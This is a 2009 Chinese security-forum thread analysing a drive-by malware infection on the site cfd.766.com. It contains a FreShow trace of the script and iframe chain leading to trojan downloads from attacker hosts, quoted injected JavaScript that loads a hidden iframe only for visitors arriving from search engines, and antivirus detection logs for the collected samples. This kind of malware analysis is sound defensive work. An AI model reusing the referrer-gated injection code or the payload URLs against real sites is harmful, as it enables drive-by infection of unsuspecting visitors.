cfd.766.com

花间酒

FRESHOW或REDOCE单独解都有问题，前者对一些网址包含\/的解析会出现问题，需要手动更正，后者会把挂马的一部分过滤了，选项不知道调哪个。。。所以是两者配合加FRESHOW手动添加URL
搜集自http://bbs.kafan.cn/thread-519724-1-1.html

Log is generated by FreShow.
[wide]http://cfd.766.com/
    [script]http://image2.766.com/img/zq/navigate/766.js?width=1000&logo=1&speed1=2300&speed2=20
        [frame]http://image2.766.com/img/zq/navigate/index.html?width='+$_width+'&logo='+$_logo+'&speed1='+$_speed1+'&speed2='+$_speed2+'&url='+escape(window.location.href)+'
        [script]http://get.766.com/advars.php?feature=1&cateid=31&typeid=342&islag=0&newwindow=1&obj=all_right_bottom_ad
        [script]http://image2.766.com/res/skin/2008/js/allAd.js
        [frame]http://image2.766.com/img/zq/navigate/index.html?width='+$_width+'&logo='+$_logo+'&speed1='+$_speed1+'&speed2='+$_speed2+'&url='+escape(window.location.href)+'
            [script]http://image2.766.com/img/zq/navigate/images/navigate.js
            [script]http://www.766.com/js/navigate-recommends
        [script]http://get.766.com/advars.php?feature=1&cateid=31&typeid=342&islag=0&newwindow=1&obj=all_right_bottom_ad
            [object]http://image2.766.com/upload/File/ad_close.jpg?
                [object]http://xmninbya.9966.org/3/3.htm?
                    [frame]http://xmninbya.9966.org/3/ytfll.htm
                        [frame]http://xmninbya.9966.org/3/yt.jpg
                            [script]http://xmninbya.9966.org/3/\'go1.jpg\'
                            [script]http://xmninbya.9966.org/3/\'go.jpg\'
                            [script]http://xmninbya.9966.org/3/\'go2.jpg\'
                                [object]http://xmninbya.9966.org/3/logo.gif
                            [script]http://xmninbya.9966.org/3/\'go3.jpg\'
                    [frame]http://xmninbya.9966.org/3/index.htm
                        [frame]http://xmninbya.9966.org/3/xmm14.htm
                            [script]http://xmninbya.9966.org/3/14.js
                                [object]http://ylzf002.cn/c/a3.exe
                            [script]http://xmninbya.9966.org/3/15.js
                            [script]http://xmninbya.9966.org/3/16.js
                        [frame]http://xmninbya.9966.org/3/z.htm
                            [script]http://xmninbya.9966.org/3/do.css
                                [object]http://ylzf002.cn/c/a3.exe
                            [script]http://xmninbya.9966.org/3/z.css
                        [frame]http://xmninbya.9966.org/3/off.htm
                            [object]http://ylzf002.cn/c/a3.exe
                        [frame]http://xmninbya.9966.org/3/ctxxz.htm
                            [script]http://xmninbya.9966.org/3/091.js
                            [script]http://xmninbya.9966.org/3/092.js
                        [frame]http://xmninbya.9966.org/3/ctqm.htm
                        [frame]http://xmninbya.9966.org/3/ct122121.htm
                            [script]http://xmninbya.9966.org/3/Turl.js
                                [object]http://ylzf002.cn/c/a3.exe
                            [script]http://xmninbya.9966.org/3/real.js
                            [script]http://xmninbya.9966.org/3/real1.js
                    [script]http://xmninbya.9966.org/3/\"http:\/\/js.tongji.linezing.com\/1190488\/tongji.js\"
                    [script]http://js.users.51.la/2825805.js
        [script]http://image2.766.com/res/skin/2008/js/allAd.js
            [script]http://get.766.com/advars.php?feature=1&cateid=31&typeid=342&islag=0&newwindow=1&obj=all_right_bottom_ad
    [script]http://www.766.com/v2-style/v2-js/pp.js
    [script]http://bbs.766.com/whatsnew.php?fidin=2007&isshowtime=1&length=40&style=1&items=10
    [script]http://s39.cnzz.com/stat.php?id=1188999&web_id=1188999&show=pic

马现在还能下载，官网已经清除了，
原本还有一个SCRIPT用以肯定只有搜索近来的人才会中，

var url=document.referrer; 
var p=url.toLowerCase().indexOf("www.baidu.com"); 
if (p>0) 
{ 
document.writeln("<iframe src=http:\/\/xmninbya.9966.org\/3\/3.htm? width=100 height=0><\/iframe>");
}
var url=document.referrer; 
var p=url.toLowerCase().indexOf("www.google.cn"); 
if (p>0) 
{ 
document.writeln("<iframe src=http:\/\/xmninbya.9966.org\/3\/3.htm? width=100 height=0><\/iframe>");
}
var url=document.referrer; 
var p=url.toLowerCase().indexOf("www.sogou.com"); 
if (p>0) 
{ 
document.writeln("<iframe src=http:\/\/xmninbya.9966.org\/3\/3.htm? width=100 height=0><\/iframe>");
}
var url=document.referrer; 
var p=url.toLowerCase().indexOf("www.soso.com"); 
if (p>0) 
{ 
document.writeln("<iframe src=http:\/\/xmninbya.9966.org\/3\/3.htm? width=100 height=0><\/iframe>");
}

同网址上a1-a5.exe都可以下载，打个包。

[ 本帖最后由 lunglungyu 于 2009-7-16 12:01 编辑 ]

尤金卡巴斯基

2009/7/16 22:57:39        已清除        木马程序 Trojan-Downloader.Win32.Geral.asq        G:\Temp\Virus\a1-a5.rar/a5.exe               
2009/7/16 22:57:39        已清除        木马程序 Trojan-Downloader.Win32.Geral.asp        G:\Temp\Virus\a1-a5.rar/a4.exe               
2009/7/16 22:57:39        已清除        木马程序 Trojan-Downloader.Win32.Geral.aso        G:\Temp\Virus\a1-a5.rar/a3.exe               
2009/7/16 22:57:39        已清除        木马程序 Trojan-Downloader.Win32.Geral.asn        G:\Temp\Virus\a1-a5.rar/a2.exe               
2009/7/16 22:57:39        已清除        木马程序 Trojan-Downloader.Win32.Geral.asm        G:\Temp\Virus\a1-a5.rar/a1.exe

m230

不知道 这位用什么杀软
原来我用卡巴 查出的名字和你给出的不一样
病毒 wom.win32.autorun.arok
木马程序 exploit.js.agent.akj
木马程序 exploit.js.sheat.a
木马程序 exploit.html.codebaseexec
木马程序 exploit.js.agent.ako
木马程序 exploit.js.realplr.qo

92link

D:\TDdownload\a1-a5.rar>>a1.exe        Trojan.Abdtyl.vwoj        木马        还未处理
D:\TDdownload\a1-a5.rar>>a2.exe        Trojan.Abdtyl.vwoj        木马        还未处理
D:\TDdownload\a1-a5.rar>>a3.exe        Trojan.Abdtyl.vwoj        木马        还未处理
D:\TDdownload\a1-a5.rar>>a4.exe        Trojan.Abdtyl.vwoj        木马        还未处理
D:\TDdownload\a1-a5.rar>>a5.exe        Trojan.Abdtyl.vwoj        木马        还未处理

gtyre1

很用心呀。。
支持一下